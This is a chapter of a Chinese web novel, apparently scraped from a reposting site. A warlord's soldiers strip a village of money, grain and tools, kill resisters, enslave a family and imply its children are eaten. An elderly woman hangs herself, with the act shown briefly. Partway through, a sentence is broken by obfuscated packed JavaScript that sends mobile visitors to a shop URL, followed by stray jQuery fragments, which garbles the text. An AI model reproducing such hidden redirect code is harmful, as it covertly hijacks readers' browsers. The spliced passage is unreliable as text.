35.第 35 章
作品:《当我绑定亲妈系统后》 范阳,李归仁站在舆图前,他身材魁梧,面色黝黑如铁,此刻紧锁着眉头看着舆图,那条自琅琊北上的道路,离范阳并不算远。
杨玉环要来了。
安禄山被一炮轰成血雾的场景,他虽未亲眼所见,但他听说了,每一个亲眼所见的士卒,都生不起一点反抗之心,似乎料定了他们绝对赢不了。
可他李归仁却不信。
他可是跟着安禄山从范阳起兵,一路杀进长安,尸山血海里趟出来的北平王!李唐的皇帝他们能推翻,潼关的二十万大军他们能击溃,难道一个不知从哪里冒出来的仙子,带着区区五千人,就能凌驾于他们十万虎狼之上?
他绝不信!
“妖法再诡,能杀一人十人,难道还能杀尽我十万大军?”李归仁一拳砸在舆图上,震得木架嗡嗡作响,“我李归仁戎马半生,从不信命,更不认命!”
“什么妖魔鬼怪,就算是玉帝,我也要将他拉下马!”
“不就是打战,我打了几十年的仗,难道还怕她不行?”这句话落下,李归仁的心却没有骄横,他成名至今,绝不是只有匹夫之勇,就算对方只有五千人,他亦会严阵以待。
他思虑几息后,转身,对着殿外厉声喝道:“传令!”
殿外亲兵应声而入。
“令!幽州各城,即刻起,所有十五岁以上、五十岁以下男丁,悉数登记造册,随时听调!为抵挡妖妃,保境安民,每户需缴纳太平钱,按人丁计,每人一两白银!”
“此外,民间所有铁器,一律收缴,充作军资,铸造兵器甲胄!胆敢藏匿不交或抗命不尊者……”
“立斩!”
“遵命!”
看着传令兵远去的身影,李归仁眯起了眼睛,此番,必斩了你杨玉环!
于是,一队队打着大魏旗帜的传令兵,冲出范阳,奔向四面八方的大小城池村镇,马蹄踏起的尘土尚未落定,催命的铜锣就已响彻。
“听令!北平王有令!为抗妖妃,保家乡太平,每户按人头缴太平钱,一人一两!民间所有铁器,全数上缴!违令者,杀无赦!”
某个小村庄里。
村东头的老赵家,有五口人——赵大、他媳妇惠娘、两个孩子,还有年迈的老娘,听完里正说的王令,惠娘的脸唰地白了。
“五两银子……”她声音发颤,抓着丈夫赵大的胳膊,“当家的,就是把咱们全家都卖了,也凑不出五两银子啊!”
“还说要所有铁器,咱家的锄头菜刀都交上去,往后地怎么种?饭怎么做?”
赵大也有些慌,莫说现在,就是在丰年,攒一年他也攒不了一两银子,又如何掏得起五两?他黝黑的脸上满是愁苦。
“当家的,要不……”惠娘想了很久,才在他耳边说,“咱们逃吧!趁夜里,带上娘和孩子,往山里跑!”
“逃?往哪逃?”赵大抬起头,“兵荒马乱的,到处是兵是匪,哪座山上没有野狼大虫?咱们拖家带口,能跑到哪里去?出去就是死路一条!”
惠娘望着丈夫,清醒了过来。她知道,丈夫说的对,他们一家五口,两个大人,两个孩子,还有一位年迈的老娘,逃?逃哪里去,逃不掉的……
惠娘低下头,不再说话。
两个人肩膀挨着肩膀,像两个苦瓜。
最后,赵大涩声道:“再等等看……村里又不是咱一家,大家都交不起,法不责众,或许,或许,或许上官能体谅咱们的难处,少交点……”
这话到了惠娘耳朵里,她觉得不对,可她也没别的法子,难道她还能变出五两银子不成?她低低的点了点头。
第一次催缴的官兵来了,凶神恶煞的。
有胆大的村民上前,哭诉实在拿不出银子,为首的队长骂骂咧咧,抽了那人几鞭子,但终究没杀人,大家的心稳了一些。
“妈的,穷鬼!”队长啐了一口,“老子也知道你们难!可上头逼得紧,老子也得交差啊!”
村长一听这话,立马说:“官爷,小老儿知道规矩,这是一点孝敬,您快收下,快收下……”
那队长收了村长给的银子,总算把鞭子放下了,他又说:“我也知道,你们都是地里刨食的,哪能掏出来这一大笔钱?”
村长苦着脸,弓着身子,连连点头:“对对,官爷,不是我们不愿意交,实在是拿不出来啊,这村里一百多人,别说一两银子,就是十个铜板都难掏出来……”
队长却没看他,说:“你们难,我也得交差不是?你们也别为难我,银子没有,粮食总有吧?先拿粮食顶一部分!总算成吧?”
村长看了看这些官兵,又回头看了看村民,点了头。于是,村民们回家,把本来就不多的存粮,甚至一些留着过冬的干菜,都搬了出来,堆在村口,官兵们粗略估了估,骂骂咧咧地装上车,扬长而去。
这一关算是过了。
看着粮车远去,赵大松了口气,对惠娘说:“你看,还好没逃,官兵也没那么不讲理。粮食虽然没了,但人还在,地还在,熬过这阵,总有活路……”
惠娘心里那根弦却没松下来,她总觉得不安。
她的预感很快应验。
第二天,那队官兵又来了,这次,口径变了:“上官说了,粮食不够!把值钱的东西统统交出来!”
这次村长有点慌乱,说:“官爷,你瞧我们这村,砖瓦都没一块,哪里有什么值钱的东西?”
那队长却把脸一摆,说:“不交?那我自己搜!”
一声令下,官兵挨家挨户地搜,锅碗瓢盆,鸡鸭蔬菜,都被抄走。最后还冲进了村里的祠堂,将供桌上几件不知传了多少代的铜香炉烛台,一并打包了。
整个村子哭声一片,可看着明晃晃的刀,没有人敢反抗,等官兵走后,赵大想,这回总算完了吧。
可第三天,来的官兵更多了,杀气也更重。
这一次,连抵账的借口都没了,那些官兵们一家家的搜,要将所有的存粮全都抢走。村民们终于意识到不对劲,几个血性汉子挡在自家地窖前,红着眼睛喊:“官爷,粮食都交光了,我们吃什么?这是要逼死我们吗?”
“逼死?”带队校尉冷笑一声,挥了挥手。
刀光闪过,挡在最前面的两个汉子惨叫都没来得及发出,就倒在了血泊里,所有人都被这突如其来的杀戮吓傻了。
“继续搜!”
官兵们如狼似虎地冲进每家每户,翻箱倒柜,掘地三尺,地窖里藏的最后一点种子粮,墙缝里塞的救命干粮,甚至炕洞里藏的一点杂面……
赵大眼睁睁看着自家最后半袋黍子被夺走,那是他偷偷埋在地下留给老娘和孩子的。他想扑上去抢,被惠娘死死拉住,女人捂着他的嘴,眼泪簌簌往下掉,拼命摇头。
等到最后,官兵满载而去,留下的是一个被掏空的村庄,和地上几具尸体。赵大这才瘫坐在自家门口,望着空荡荡的院子,大哭起来:“没了!全没了!粮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952031|191074||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
食没了,全都没了,往后可怎么活啊!”
惠娘也流着泪,却还是强撑着扶起丈夫:“当家的,别哭了,人还在,咱们逃吧,现在就走!趁夜里,往深山里跑,找野菜,挖草根,总比在这里等死强!”
可赵大却抬起涕泪横流的脸,问:“逃?往哪逃?什么都没了,逃了也活不下去啊……”
“可地还在这儿,这可是祖祖辈辈传下来的地啊!走了,地就没了,根就断了,明年,明年开春,只要还能种地,就还有指望……”
惠娘跟着流泪,她也不知道怎么办,这世道总是不让他们这些人活下去,她只能紧紧抱住丈夫颤抖的身体,哑声道:“好,不走,咱们一家人在一起,总能有办法……”
可第四天,那队官兵像秃鹫一样,再次盘旋而至。
“赵大!你欠的太平钱还没交呢!”队长用刀尖指着赵大。
赵大如遭雷击,扑通跪倒,磕头如捣蒜:“军爷!军爷开恩啊!家里能交的都交了,粮食、铁器、值点钱的东西,全没了!实在是一个铜板也拿不出来了啊!”
“拿不出来?”队长冷笑,目光扫过他身后的惠娘和两个孩子,“你老婆是女人,值一两,这两个小崽子,加起来算一两,你自己,也值一两。”
“你还倒欠官府二两!”
赵大懵了,随即浑身血液都凉了:“军爷!不能啊!我家里所有东西都交了,我怎么还能欠呢?我……”
他话没说完,就被旁边的兵卒一脚狠狠踹在胸口,倒飞出去,咳出血来。
“你还敢讨价还价?”队长呸了一口,“欠债还钱,天经地义!把他们都带走!”
官兵如狼似虎的兵卒一拥而上,扭住惠娘,扯过哭喊的孩子,赵大目眦欲裂,挣扎着爬起来想冲过去,又被踹倒。
“官爷,我愿意去当兵!我去服徭役!求求您,放过我老婆孩子吧!她们……”赵大被踹倒在地,磕掉了门牙,混着血水哭喊着。
可没人听他的。
这群官兵锁了村里所有人,男人一队,女人孩子一队,排着队进了军营,赵大被送到了奴役处,他看不见他的妻儿了。
他哭喊着问,问他的妻儿哪里去了。
旁边一个同样被绑住的村民,面如死灰,低低说了一句:“女人,只会被送去做军妓了,孩子……”
“许是送去军粮处……”
军粮处?
起初,赵大还没反应过来,他的孩子才几岁,做不了饭啊!可下一瞬,他又明白了。
于是,赵大疯了。
他不知哪来的力气,挣脱了压制,赤手空拳扑向最近的官兵,可刀光一闪后,赵大就死了。
夜晚,赵家破败的土坯房里,赵大年迈的老母亲呆呆地坐在土炕上,她颤巍巍地下了炕,在空荡荡的屋子里走了一圈,灶台冰冷,粮缸见底,连喝水的破碗都没剩下一个,家里只剩下她这个老东西了。
没有一点声响,空荡荡的。
老太太走到房梁下,慢慢解下自己的裤腰带。
她将腰带抛过房梁,打个结,把头伸了进去。
然后,踢倒了垫脚凳。
*
范阳城头,李归仁眺望南方,踌躇满志。
他的十万大军严阵以待,有了崭新的盔甲,有了足够的存粮,他等着那个不知天高地厚的女人,还有她可笑的五千兵马。
“杨玉环,”他冷哼一声,手按剑柄,“我等你来!”

